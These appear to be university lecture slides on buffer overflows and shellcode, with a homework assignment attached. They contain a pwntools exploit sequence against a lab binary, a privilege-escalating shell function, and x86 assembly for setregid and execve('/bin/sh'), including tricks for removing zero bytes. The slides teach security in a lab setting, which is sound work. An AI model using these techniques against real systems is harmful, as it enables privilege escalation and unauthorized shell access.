CS519/419
Cyber Attacks & Defense

Shellcode

10/11/18

Oregon State University

Buffer Overflow

- Overwrite a function's return address

- Jump to where you wish to run
  - get_a_shell()

Frame Pointer Attack

- Overwrite saved %ebp (or %rbp) of a function
- Change the stack frame after 1st return
- 2nd return fetches the return address from a fake stack
- How?
  - Set saved %ebp as address of your input
  - Address of your point + 4 = return address

Pwntools

- p = process(“./bof-level5”)
- e = ELF(“./bof-level5”)
- gas = e.symbols[‘get_a_shell’]
- input = p32(gas) * (132/4) + “BBBB”
- p.sendline(input) # will crash…
- c = Core(“./core”)
- input_addr = c.stack.find(input)
  - Return the address of your input on the stack
- input = p32(gas) * (132/4) + p32(input_addr)
- p = process(“./bof-level5”)
- p.sendline(input)
- p.interactive()

get_a_shell()

```
void get_a_shell() {
    printf("Spawning a privileged shell\n");
    setregid(getegid(), getegid());
    execl("/bin/bash", "bash", NULL);
}
```

- Inherit current privilege and then execute a shell
- You can read the flag!

```
8 -rwxr-sr-x  1 root week2-level5-ok 7620 Oct  4 11:38 bof-level5
4 -rw-r--r--  1 root week2-level5-ok  542 Oct  4 11:38 bof-level5.c
4 -r--r-----  1 root week2-level5-ok   22 Oct  4 11:38 flag
```

- setregid(getegid(), getegid())
- execl(“/bin/bash”, “bash”, 0);

Oregon State University

get_a_shell()

- getegid()
  - Get effective GID
- setregid(gid_t rgid, gid_t egid)
  - Set real and effective gid
- setregid(getegid(), getegid())
  - Set real and effective gid as current effective gid
  - Privilege escalation!
  - Set your gid to week3-level0-ok…

get_a_shell()

- execl("/bin/bash", "bash", 0)
  - Run /bin/bash with arg0 as "bash"
- exec* function family
  - execl(filepath, "arg0", "arg1", "arg2", …, "argN", 0)
    - Run program at filepath with args… (arg list ends with 0)
    - exec'l', and 'l' means list..
  - execv(filepath, argv[])
    - argv[0] = arg0, argv[1] = arg1, …, argv[N] = argN, argv[N+1] = 0 (ends with 0)
    - exec'v', and 'v' means vector
  - execve(filepath, argv[], envp[])
    - In addition to execv (for argv),
    - envp[0] = env0, envp[1] = env1, envp[2] = env2, …, envp[N] = envN, envp[n+1] = 0

Shellcode

- In the real attack case, you will never have get_a_shell()

- `Shellcode`
  - `Assembly code snippet that runs a shell`
- `Do`
  - `setregid(getegid(), getegid())`
  - `execve("/bin/sh", 0, 0)`

How to use shellcode?

- Put your shellcode in the program's address space
  - Put it as your input
  - Put it as program's arguments
  - Put it as program's environmental variables
  - Put it as the program's name
- Set the return address to your shellcode
- Run
  - Setregid(getegid(), getegid())
  - Execve("/bin/sh", 0, 0);

Writing Shellcode

- System call
  - A function call to OS
  - Handles many functionalities such as
    - File I/O
    - Network I/O
    - Memory allocation
    - Set/get permissions
    - Run program
    - Etc…
- Check system call number at:
  - 32-bit: https://syscalls.kernelgrok.com/
  - 64-bit: http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

Invoking a System Call is Easy (x86-32)

- Set %eax as target system call number
  - mov $SYS_getegid, %eax
- Set arguments
  - 1st arg : %ebx
  - 2nd arg: %ecx
  - 3rd arg: %edx
  - 4th arg: %esi
  - 5th arg: %edi
- Run
  - int $0x80

Invoking a System Call is Easy (x86-32)

- Return value will be stored in %eax
  - mov $SYS_getegid, %eax
  - int $0x80
  - %eax holds the return value of getegid()
- How to run setregid(getegid(), getegid())?
  - mov %eax, %ebx // 1st arg
  - mov %eax, %ecx // 2nd arg
  - mov $SYS_setregid, %eax // syscall number
  - int $0x80

Calling EXECVE()

- execve(char* filepath, char** argv, char** envp)
- execve("/bin/sh", NULL, NULL);

- %eax = $SYS_execve
- %ebx = address of "/bin/sh"
- %ecx = 0
- %edx = 0
- int $0x80

How to Create a String?

- %ebx = address of “/bin/sh”
- Use Stack
  - push $0
  - push $0x67832f6e // “n/sh”
  - push $0x69622f2f // “//bi”
- mov %esp, %ebx

Your Shellcode Contains Zero-bytes

- push $0
  - 68 00 00 00 00
- This will not be accepted by functions such as
  - scanf()
  - strcpy()

Removing Zero from Your Shellcode

- You can create Zero

Removing Zero from Your Shellcode

- mov $0x41414141, %eax
- sub $0x41414141, %eax

Removing Zero from Your Shellcode

- xor %eax, %eax
- mov %eax, %ebx

Some Other Restriction Could Exist

- Program only accepts
  - ASCII characters
  - Alphanumeric characters
  - Limits in input length
  - Etc..

Assignment: Week-3

- Write and run your shellcode
- Do $ setup with week number 3
- shellcode – a normal shellcode
- nonzero-shellcode – shellcode without using zero
- short-shellcode – shellcode less than 15 bytes (20pts, **+Extra**)
- ascii-shellcode-64 – shellcode only contains bytes 0x01 ~ 0x7f
- Alphanumeric-shellcode (**Extra +50**) – shellcode only uses A-Za-z0-9
- **Due: 10/18 2:00pm**